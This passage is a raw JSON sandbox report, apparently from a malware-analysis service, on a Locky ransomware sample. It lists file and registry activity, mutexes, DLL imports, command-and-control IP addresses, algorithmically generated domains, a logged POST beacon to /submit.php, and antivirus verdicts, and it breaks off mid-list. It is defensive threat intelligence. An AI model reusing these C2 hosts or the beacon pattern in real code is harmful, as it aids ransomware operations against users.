"")1a:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$22"}}],["$","$L23",null,{"initialData":{"activity":{"behavior_tags":["ransomware","locky","malicious"],"file_activity":{"dropped_files":[],"extracted_files":[],"files_deleted":[],"files_written":[{"path":"\\Device\\NetBT_Tcpip6_{72D885C2-0AEC-4510-95D5-BF120A963535}","sources":[{"report_id":"5748a0e3aac2ed6f5b5ac99a","report_type":"sandbox"}]},{"path":"%WINDIR%\\System32\\wshqos.dll","sources":[{"report_id":"5f8dd1107f50f85b2109e2f6","report_type":"sandbox"}]},{"path":"%WINDIR%\\Globalization\\Sorting\\sortdefault.nls","sources":[{"report_id":"5748a0e3aac2ed6f5b5ac99a","report_type":"sandbox"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies","sources":[{"report_id":"5f8dd1107f50f85b2109e2f6","report_type":"sandbox"},{"report_id":"5748a0e3aac2ed6f5b5ac99a","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCookies","sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"63b48cabcc95c60864338954","report_type":"sandbox"}]},{"path":"%WINDIR%\\","sources":[{"report_id":"5748a0e3aac2ed6f5b5ac99a","report_type":"sandbox"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_id":"5f8dd1107f50f85b2109e2f6","report_type":"sandbox"},{"report_id":"5748a0e3aac2ed6f5b5ac99a","report_type":"sandbox"},{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"},{"report_id":"63b48cabcc95c60864338954","report_type":"sandbox"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\History\\History.IE5\\index.dat","sources":[{"report_id":"5748a0e3aac2ed6f5b5ac99a","report_type":"sandbox"}]},{"path":"%USERPROFILE%\\AppData\\Local","sources":[{"report_id":"5f8dd1107f50f85b2109e2f6","report_type":"sandbox"},{"report_id":"5748a0e3aac2ed6f5b5ac99a","report_type":"sandbox"},{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"},{"report_id":"63b48cabcc95c60864338954","report_type":"sandbox"}]},{"path":"MountPointManager","sources":[{"report_id":"5748a0e3aac2ed6f5b5ac99a","report_type":"sandbox"}]},{"path":"\\Device\\Afd\\AsyncConnectHlp","sources":[{"report_id":"5748a0e3aac2ed6f5b5ac99a","report_type":"sandbox"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\counters.dat","sources":[{"report_id":"5f8dd1107f50f85b2109e2f6","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\index.dat","sources":[{"report_id":"5748a0e3aac2ed6f5b5ac99a","report_type":"sandbox"}]},{"path":"\\Device\\RasAcd","sources":[{"report_id":"5748a0e3aac2ed6f5b5ac99a","report_type":"sandbox"}]},{"path":"\\FileSystem\\Filters\\FltMgrMsg","sources":[{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"path":"\\Device\\Afd\\Endpoint","sources":[{"report_id":"5748a0e3aac2ed6f5b5ac99a","report_type":"sandbox"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_id":"5f8dd1107f50f85b2109e2f6","report_type":"sandbox"},{"report_id":"5748a0e3aac2ed6f5b5ac99a","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"path":"C:\\Windows","sources":[{"report_id":"5f8dd1107f50f85b2109e2f6","report_type":"sandbox"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCache","sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"63b48cabcc95c60864338954","report_type":"sandbox"}]},{"path":"\\Device\\NetBT_Tcpip6_{D0B53124-E232-49FC-9EA9-75FA32C7C6C3}","sources":[{"report_id":"5748a0e3aac2ed6f5b5ac99a","report_type":"sandbox"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat","sources":[{"report_id":"5748a0e3aac2ed6f5b5ac99a","report_type":"sandbox"}]},{"path":"\\Device\\NetBT_Tcpip_{D0B53124-E232-49FC-9EA9-75FA32C7C6C3}","sources":[{"report_id":"5748a0e3aac2ed6f5b5ac99a","report_type":"sandbox"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files","sources":[{"report_id":"5f8dd1107f50f85b2109e2f6","report_type":"sandbox"},{"report_id":"5748a0e3aac2ed6f5b5ac99a","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"path":"\\Device\\NetBT_Tcpip6_{9C9C1D9A-E45A-41F9-8D98-D3B6EA5D768D}","sources":[{"report_id":"5748a0e3aac2ed6f5b5ac99a","report_type":"sandbox"}]},{"path":"%WINDIR%\\Globalization\\Sorting\\SortDefault.nls","sources":[{"report_id":"5f8dd1107f50f85b2109e2f6","report_type":"sandbox"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\History","sources":[{"report_id":"5f8dd1107f50f85b2109e2f6","report_type":"sandbox"},{"report_id":"5748a0e3aac2ed6f5b5ac99a","report_type":"sandbox"},{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"},{"report_id":"63b48cabcc95c60864338954","report_type":"sandbox"}]},{"path":"%WINDIR%\\System32\\rsaenh.dll","sources":[{"report_id":"5f8dd1107f50f85b2109e2f6","report_type":"sandbox"}]},{"path":"PIPE\\lsarpc","sources":[{"report_id":"5748a0e3aac2ed6f5b5ac99a","report_type":"sandbox"}]},{"path":"Nsi","sources":[{"report_id":"5748a0e3aac2ed6f5b5ac99a","report_type":"sandbox"}]},{"path":"C:","sources":[{"report_id":"5f8dd1107f50f85b2109e2f6","report_type":"sandbox"}]}]},"mutex_activity":{"mutex_created":[{"name":"Local\\SM0:5476:64:WilError_01","sources":[{"report_id":"63b48cabcc95c60864338954","report_type":"sandbox"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\c:!users!pspubws!appdata!local!microsoft!windows!temporary internet files!content.ie5!","sources":[{"report_id":"5748a0e3aac2ed6f5b5ac99a","report_type":"sandbox"}]},{"name":"Local\\SM0:8908:168:WilStaging_02","sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\WininetProxyRegistryMutex","sources":[{"report_id":"5748a0e3aac2ed6f5b5ac99a","report_type":"sandbox"}]},{"name":"SM0:8908:64:WilError_03","sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\RasPbFile","sources":[{"report_id":"5748a0e3aac2ed6f5b5ac99a","report_type":"sandbox"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\_!MSFTHISTORY!_","sources":[{"report_id":"5748a0e3aac2ed6f5b5ac99a","report_type":"sandbox"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\WininetConnectionMutex","sources":[{"report_id":"5748a0e3aac2ed6f5b5ac99a","report_type":"sandbox"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:5476:168:WilStaging_02","sources":[{"report_id":"63b48cabcc95c60864338954","report_type":"sandbox"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\c:!users!pspubws!appdata!roaming!microsoft!windows!cookies!","sources":[{"report_id":"5748a0e3aac2ed6f5b5ac99a","report_type":"sandbox"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\WininetStartupMutex","sources":[{"report_id":"5748a0e3aac2ed6f5b5ac99a","report_type":"sandbox"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\c:!users!pspubws!appdata!local!microsoft!windows!history!history.ie5!","sources":[{"report_id":"5748a0e3aac2ed6f5b5ac99a","report_type":"sandbox"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:5476:64:WilError_01","sources":[{"report_id":"63b48cabcc95c60864338954","report_type":"sandbox"}]},{"name":"Local\\SM0:5476:168:WilStaging_02","sources":[{"report_id":"63b48cabcc95c60864338954","report_type":"sandbox"}]}]},"network_activity":{"contacted_hosts":[{"address":"82.146.37.200","country":"Russian Federation","port":80,"protocol":"TCP","sources":[{"report_id":"5f8dd1107f50f85b2109e2f6","report_type":"sandbox"},{"report_id":"5748a0e3aac2ed6f5b5ac99a","report_type":"sandbox"},{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"},{"report_id":"63b48cabcc95c60864338954","report_type":"sandbox"}]},{"address":"51.254.240.45","country":"France","port":80,"protocol":"TCP","sources":[{"report_id":"5f8dd1107f50f85b2109e2f6","report_type":"sandbox"},{"report_id":"5748a0e3aac2ed6f5b5ac99a","report_type":"sandbox"},{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"},{"report_id":"63b48cabcc95c60864338954","report_type":"sandbox"}]},{"address":"5.135.76.18","country":"France","port":80,"protocol":"TCP","sources":[{"report_id":"5f8dd1107f50f85b2109e2f6","report_type":"sandbox"},{"report_id":"5748a0e3aac2ed6f5b5ac99a","report_type":"sandbox"},{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"},{"report_id":"63b48cabcc95c60864338954","report_type":"sandbox"}]},{"address":"85.17.31.82","country":"Netherlands","port":80,"protocol":"TCP","sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"}]},{"address":"31.41.44.130","country":"Russian Federation","port":80,"protocol":"TCP","sources":[{"report_id":"5f8dd1107f50f85b2109e2f6","report_type":"sandbox"},{"report_id":"5748a0e3aac2ed6f5b5ac99a","report_type":"sandbox"},{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"},{"report_id":"63b48cabcc95c60864338954","report_type":"sandbox"}]},{"address":"93.170.131.108","country":"Czech Republic","port":80,"protocol":"TCP","sources":[{"report_id":"5f8dd1107f50f85b2109e2f6","report_type":"sandbox"},{"report_id":"5748a0e3aac2ed6f5b5ac99a","report_type":"sandbox"},{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"},{"report_id":"63b48cabcc95c60864338954","report_type":"sandbox"}]},{"address":"178.162.203.226","country":"Germany","port":80,"protocol":"TCP","sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"}]},{"address":"104.43.139.144","country":"United States","port":443,"protocol":"TCP","sources":[{"report_id":"5f8dd1107f50f85b2109e2f6","report_type":"sandbox"}]},{"address":"162.249.65.26","country":"United States","port":80,"protocol":"TCP","sources":[{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]}],"dns_resolutions":[{"country":"-","domain":"tqhgdeagbjhmbpej.pw","sources":[{"report_id":"5f8dd1107f50f85b2109e2f6","report_type":"sandbox"}],"ttl":1799},{"country":"-","domain":"yvbpaeofubcrwiwhq.su","sources":[{"report_id":"5748a0e3aac2ed6f5b5ac99a","report_type":"sandbox"}]},{"country":"-","domain":"ckwrfapl.info","sources":[{"report_id":"5748a0e3aac2ed6f5b5ac99a","report_type":"sandbox"}]},{"country":"-","domain":"xxnhereij.work","sources":[{"report_id":"5f8dd1107f50f85b2109e2f6","report_type":"sandbox"}],"ttl":1799},{"country":"-","domain":"rydaffppgakbts.su","sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"}]},{"country":"-","domain":"wxlywjtdfysqm.su","sources":[{"report_id":"5748a0e3aac2ed6f5b5ac99a","report_type":"sandbox"}]},{"country":"-","domain":"ipclvyu.info","sources":[{"report_id":"63b48cabcc95c60864338954","report_type":"sandbox"}],"ttl":1800},{"country":"-","domain":"sreyuccwpqkbjr.org","sources":[{"report_id":"5748a0e3aac2ed6f5b5ac99a","report_type":"sandbox"}]},{"country":"-","domain":"hdedxwro.work","sources":[{"report_id":"5f8dd1107f50f85b2109e2f6","report_type":"sandbox"}],"ttl":1799},{"country":"-","domain":"qqitfhiwmqd.work","sources":[{"report_id":"5f8dd1107f50f85b2109e2f6","report_type":"sandbox"}],"ttl":1799},{"country":"-","domain":"sogxeaopdphxwmog.su","sources":[{"report_id":"63b48cabcc95c60864338954","report_type":"sandbox"}],"ttl":1800},{"country":"-","domain":"skpyohdakwtorp.click","sources":[{"report_id":"5748a0e3aac2ed6f5b5ac99a","report_type":"sandbox"}]},{"country":"-","domain":"yunvfohdlk.org","sources":[{"report_id":"5748a0e3aac2ed6f5b5ac99a","report_type":"sandbox"}]},{"country":"-","domain":"xhhmdjefam.ru","sources":[{"report_id":"5748a0e3aac2ed6f5b5ac99a","report_type":"sandbox"}]},{"country":"-","domain":"vljmcamdvvejilwa.pw","sources":[{"report_id":"5f8dd1107f50f85b2109e2f6","report_type":"sandbox"}],"ttl":1799},{"country":"-","domain":"iufugowwi.click","sources":[{"report_id":"63b48cabcc95c60864338954","report_type":"sandbox"}],"ttl":900},{"country":"-","domain":"uxcqdfkmsc.work","sources":[{"report_id":"63b48cabcc95c60864338954","report_type":"sandbox"}],"ttl":900},{"country":"-","domain":"aovmvqdrybkd.pl","sources":[{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"address":"178.162.203.226","country":"Germany","domain":"hvjblnqodcbrjvyjr.pw","sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"}],"ttl":60},{"address":"162.249.65.26","country":"United States","domain":"pktpgohy.pw","registrar_creation_date":"2024-05-02T07:46:10+00:00","registrar_name":"Stichting Registrar of Last Resort Foundation","registrar_name_servers":"BS551-02.SINKHOLE.SHADOWSERVER.US","sources":[{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}],"ttl":21600},{"country":"-","domain":"qmsbveyvqqp.su","sources":[{"report_id":"63b48cabcc95c60864338954","report_type":"sandbox"}],"ttl":1800},{"country":"-","domain":"vaevtcyxljtgq.xyz","sources":[{"report_id":"5748a0e3aac2ed6f5b5ac99a","report_type":"sandbox"}]},{"country":"-","domain":"inaogmegcgui.org","sources":[{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"address":"162.249.65.26","country":"United States","domain":"vgxkrivjltesxp.pw","registrar_creation_date":"2024-04-04T23:25:50+00:00","registrar_name":"Stichting Registrar of Last Resort Foundation","registrar_name_servers":"BS551-02.SINKHOLE.SHADOWSERVER.US","sources":[{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}],"ttl":21600},{"country":"-","domain":"dkpxducupm.pl","sources":[{"report_id":"5f8dd1107f50f85b2109e2f6","report_type":"sandbox"}],"ttl":1799},{"country":"-","domain":"mginrklvcqfaxqwk.xyz","sources":[{"report_id":"5748a0e3aac2ed6f5b5ac99a","report_type":"sandbox"}]},{"country":"-","domain":"ettxjuuei.click","sources":[{"report_id":"63b48cabcc95c60864338954","report_type":"sandbox"}],"ttl":900},{"country":"-","domain":"gilwmiqnwgbqdbmt.su","sources":[{"report_id":"63b48cabcc95c60864338954","report_type":"sandbox"}],"ttl":1800},{"address":"162.249.65.26","country":"United States","domain":"hgitjtd.pw","registrar_creation_date":"2024-05-02T07:37:31+00:00","registrar_name":"Stichting Registrar of Last Resort Foundation","registrar_name_servers":"BS551-02.SINKHOLE.SHADOWSERVER.US","sources":[{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}],"ttl":21600},{"country":"-","domain":"ffadjbgiscugoweg.biz","sources":[{"report_id":"5748a0e3aac2ed6f5b5ac99a","report_type":"sandbox"}]},{"country":"-","domain":"ppxqdwskrlnjqbhuy.ru","sources":[{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"country":"-","domain":"iryfcivviopgj.ru","sources":[{"report_id":"5748a0e3aac2ed6f5b5ac99a","report_type":"sandbox"}]},{"country":"-","domain":"dhikrswxxqvg.xyz","sources":[{"report_id":"5f8dd1107f50f85b2109e2f6","report_type":"sandbox"}],"ttl":1799},{"country":"-","domain":"iwyprfiv.info","sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"}]},{"country":"-","domain":"jgmpyhohie.su","sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"}]},{"country":"-","domain":"ojyrskjou.su","sources":[{"report_id":"5f8dd1107f50f85b2109e2f6","report_type":"sandbox"}],"ttl":1799},{"address":"178.162.203.226","country":"Germany","domain":"hbmpdhxx.pw","sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"}],"ttl":60}],"http_requests":[{"header":"POST /submit.php HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)\nHost: 82.146.37.200\nContent-Length: 100\nConnection: Keep-Alive\nCache-Control: no-cache","host":"82.146.37.200","host_ip":"82.146.37.200:80","method":"POST","sources":[{"report_id":"5f8dd1107f50f85b2109e2f6","report_type":"sandbox"},{"report_id":"5748a0e3aac2ed6f5b5ac99a","report_type":"sandbox"},{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"},{"report_id":"63b48cabcc95c60864338954","report_type":"sandbox"}],"url":"/submit.php"}]},"process_activity":{"all_imported_dlls":["api-ms-win-downlevel-advapi32-l2-1-0.dll","ntmarta.dll","cfgmgr32.dll","gdi32full.dll","shlwapi.dll","nsi.dll","netutils.dll","winhttp.dll","usp10.dll","windows.storage.dll","crypt32.dll","sechost.dll","nlaapi.dll","oleaut32.dll","api-ms-win-downlevel-advapi32-l1-1-0.dll","lpk.dll","msasn1.dll","advapi32.dll","api-ms-win-downlevel-user32-l1-1-0.dll","win32u.dll","winnsi.dll","ntdll.dll","combase.dll","user32.dll","profapi.dll","psapi.dll","webio.dll","wow64cpu.dll","bcrypt.dll","srvcli.dll","wow64base.dll","kernel32.dll","shell32.dll","msctf.dll","mpr.dll","rasadhlp.dll","rpcrt4.dll","wshqos.dll","cryptbase.dll","SensApi.dll","secur32.dll","imagehlp.dll","oledlg.dll","wininet.dll","sspicli.dll","wow64con.dll","imm32.dll","msvcp_win.dll","api-ms-win-core-synch-l1-2-0.dll","fltLib.dll","rasapi32.dll","version.dll","uxtheme.dll","KernelBase.dll","wkscli.dll","msvcrt.dll","api-ms-win-downlevel-ole32-l1-1-0.dll","apphelp.dll","rsaenh.dll","comctl32.dll","ws2_32.dll","wtsapi32.dll","wow64.dll","kernel.appcore.dll","FWPUCLNT.DLL","userenv.dll","SHCore.dll","ole32.dll","gdi32.dll","rasman.dll","api-ms-win-downlevel-version-l1-1-0.dll","dsrole.dll","ucrtbase.dll","VxSSL32.dll","WinTypes.dll","msimg32.dll","bcryptprimitives.dll","api-ms-win-downlevel-shlwapi-l1-1-0.dll","netapi32.dll","rtutils.dll","urlmon.dll","samcli.dll","normaliz.dll","OnDemandConnRouteHelper.dll","rpcss.dll","mswsock.dll","Wldap32.dll","WSHTCPIP.DLL","iertutil.dll","dnsapi.dll","IPHLPAPI.DLL","powrprof.dll","cryptsp.dll","wow64win.dll","api-ms-win-downlevel-normaliz-l1-1-0.dll","api-ms-win-downlevel-shlwapi-l2-1-0.dll","wship6.dll"],"processes":[{"command_line":"","icon":"$24","name":"49a48d4ff1b7973e55d5838f20107620ed808851231256bb94c85f6c80b8ebfc.exe","normalized_path":"C:\\49a48d4ff1b7973e55d5838f20107620ed808851231256bb94c85f6c80b8ebfc.exe","pid":3568,"ppid":0,"sha256":"49a48d4ff1b7973e55d5838f20107620ed808851231256bb94c85f6c80b8ebfc","uid":"00064342-00003568"}],"sources":[{"report_id":"5f8dd1107f50f85b2109e2f6","report_type":"sandbox"}]},"registry_activity":{"keys_created":[{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TIMEZONEINFORMATION\\","sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\TRACING\\RASAPI32\\","sources":[{"report_id":"5748a0e3aac2ed6f5b5ac99a","report_type":"sandbox"}]},{"key":"HKCUHKCU\\SOFTWARE\\E5Q1MB1OEYH136V\\","sources":[{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\TRACING\\","sources":[{"report_id":"5748a0e3aac2ed6f5b5ac99a","report_type":"sandbox"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\TRACING\\RASMANCS\\","sources":[{"report_id":"5748a0e3aac2ed6f5b5ac99a","report_type":"sandbox"}]},{"key":"HKCU\\SOFTWARE\\JWQPFD1ASNJ7\\","sources":[{"report_id":"63b48cabcc95c60864338954","report_type":"sandbox"}]},{"key":"HKCU\\SOFTWARE\\RSJTJJE6B43C75B\\","sources":[{"report_id":"5f8dd1107f50f85b2109e2f6","report_type":"sandbox"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\","sources":[{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\CONNECTIONS\\","sources":[{"report_id":"5f8dd1107f50f85b2109e2f6","report_type":"sandbox"}]},{"key":"HKCU\\SOFTWARE\\1BSSQX05U34CRZ0\\","sources":[{"report_id":"5748a0e3aac2ed6f5b5ac99a","report_type":"sandbox"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\","sources":[{"report_id":"5f8dd1107f50f85b2109e2f6","report_type":"sandbox"},{"report_id":"5748a0e3aac2ed6f5b5ac99a","report_type":"sandbox"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\\","sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\TENANTRESTRICTIONS\\PAYLOAD\\","sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"}]},{"key":"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TIMEZONEINFORMATION\\","sources":[{"report_id":"63b48cabcc95c60864338954","report_type":"sandbox"}]}],"keys_deleted":[],"keys_modified":[]},"sample_flags":["User Comment","Network Traffic"],"sandbox_reports":[{"analysis_start_time":"2025-02-16T00:45:53+00:00","contacted_countries":["CZE","DEU","FRA","NLD","RUS"],"environment_description":"Windows 11 64 bit","environment_id":140,"id":"67b13541f76571b71e0619c2","indicators_count":{"informative":168,"malicious":3,"suspicious":30},"is_in_unified_schema":true,"state":"SUCCESS","submit_name":"locky.exe","tags":["Network Traffic","User Comment"],"threat_score":100,"verdict":"malicious"},{"analysis_start_time":"2024-09-24T08:23:59+00:00","contacted_countries":["CZE","FRA","RUS","USA"],"environment_description":"Windows 7 32 bit (HWP Support)","environment_id":110,"id":"66f2771f14e17b26d1025a94","indicators_count":{"informative":164,"malicious":3,"suspicious":30},"is_in_unified_schema":true,"state":"SUCCESS","submit_name":"locky.exe","tags":["Network Traffic","User Comment"],"threat_score":100,"verdict":"malicious"},{"analysis_start_time":"2023-01-03T20:14:35+00:00","contacted_countries":["CZE","FRA","RUS"],"environment_description":"Windows 10 64 bit","environment_id":160,"id":"63b48cabcc95c60864338954","indicators_count":{"informative":44,"malicious":4,"suspicious":19},"is_in_unified_schema":true,"malware_family":"Ransom.Locky","state":"SUCCESS","submit_name":"49a48d4ff1b7973e55d5838f20107620ed808851231256bb94c85f6c80b8ebfc","tags":["Network Traffic","User Comment"],"threat_score":100,"verdict":"malicious"},{"analysis_start_time":"2020-10-19T17:47:01+00:00","contacted_countries":["CZE","FRA","RUS","USA"],"environment_description":"Windows 7 64 bit","environment_id":120,"id":"5f8dd1107f50f85b2109e2f6","indicators_count":{"informative":9,"malicious":5,"suspicious":16},"is_in_unified_schema":true,"malware_family":"Locky.G.gen","state":"SUCCESS","submit_name":"49a48d4ff1b7973e55d5838f20107620ed808851231256bb94c85f6c80b8ebfc","tags":["Network Traffic","User Comment"],"threat_score":100,"verdict":"malicious"},{"analysis_start_time":"2016-05-27T21:33:33+00:00","contacted_countries":["CZE","FRA","RUS"],"environment_description":"Windows 7 32 bit","environment_id":100,"id":"5748a0e3aac2ed6f5b5ac99a","indicators_count":{"informative":6,"malicious":10,"suspicious":21},"is_in_unified_schema":true,"malware_family":"Trojan.GenericKD","state":"SUCCESS","submit_name":"49a48d4ff1b7973e55d5838f20107620ed808851231256bb94c85f6c80b8ebfc","tags":["Network Traffic","User Comment"],"threat_score":100,"verdict":"malicious"}],"stats":{"contacted_hosts_count":9,"contacted_urls_count":1,"dns_resolutions_count":37,"dropped_files_count":0,"embedded_domains_count":0,"embedded_ips_count":0,"embedded_urls_count":0,"extracted_files_count":0,"files_deleted_count":0,"files_written_count":30,"http_requests_count":1,"imported_dlls_count":97,"injected_processes_count":0,"mutex_created_count":14,"process_count":1,"registry_keys_created_count":14,"registry_keys_deleted_count":0,"registry_keys_modified_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":14,"script_calls_count":0,"spawned_processes_count":1}},"all_analysis_status":{"fastscan_status":"SUCCESS","qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS"},"detections":{"attributions":{"malware_families":[{"sources":[{"report_id":"","report_type":"quickscan"}],"value":"Ransom.Locky.Generic"}]},"av_detections":{"engines":{"ahnlab":{"data_source":"MetaDefender","name":"AhnLab","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"threat_name":"Win-Trojan/Lockycrypt.Gen","verdict":"malicious"},"antiy":{"data_source":"MetaDefender","name":"Antiy","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"threat_name":"Trojan[Ransom]/Win32.Locky","verdict":"malicious"},"aurora":{"data_source":"MetaDefender","name":"Aurora","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"threat_name":"Malware_-10","verdict":"malicious"},"avira":{"data_source":"MetaDefender","name":"Avira","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"threat_name":"HEUR/AGEN.1311671","verdict":"malicious"},"bitdefender":{"data_source":"MetaDefender","name":"Bitdefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"threat_name":"Gen:Variant.Ransom.Locky.440","verdict":"malicious"},"clamav":{"data_source":"MetaDefender","name":"ClamAV","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"threat_name":"Win.Ransomware.Locky-30744","verdict":"malicious"},"cmc":{"data_source":"MetaDefender","name":"CMC","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"threat_name":"Ransom_Win32_Locky_A","verdict":"malicious"},"emsisoft":{"data_source":"MetaDefender","name":"Emsisoft","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"threat_name":"Gen:Variant.Ransom.Locky.440 (B)","verdict":"malicious"},"eset":{"data_source":"MetaDefender","name":"ESET","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"threat_name":"a variant of Win32/Kryptik.ESSX trojan","verdict":"malicious"},"filseclab":{"data_source":"MetaDefender","name":"Filseclab","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"gridinsoft":{"data_source":"MetaDefender","name":"Gridinsoft","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"threat_name":"Ransom.Win32.Locky.vl!n","verdict":"malicious"},"huorong":{"data_source":"MetaDefender","name":"Huorong","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"threat_name":"Trojan/Generic!D9730ED51E4C9232","verdict":"malicious"},"k7":{"data_source":"MetaDefender","name":"K7","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"threat_name":"Trojan ( 004e190c1 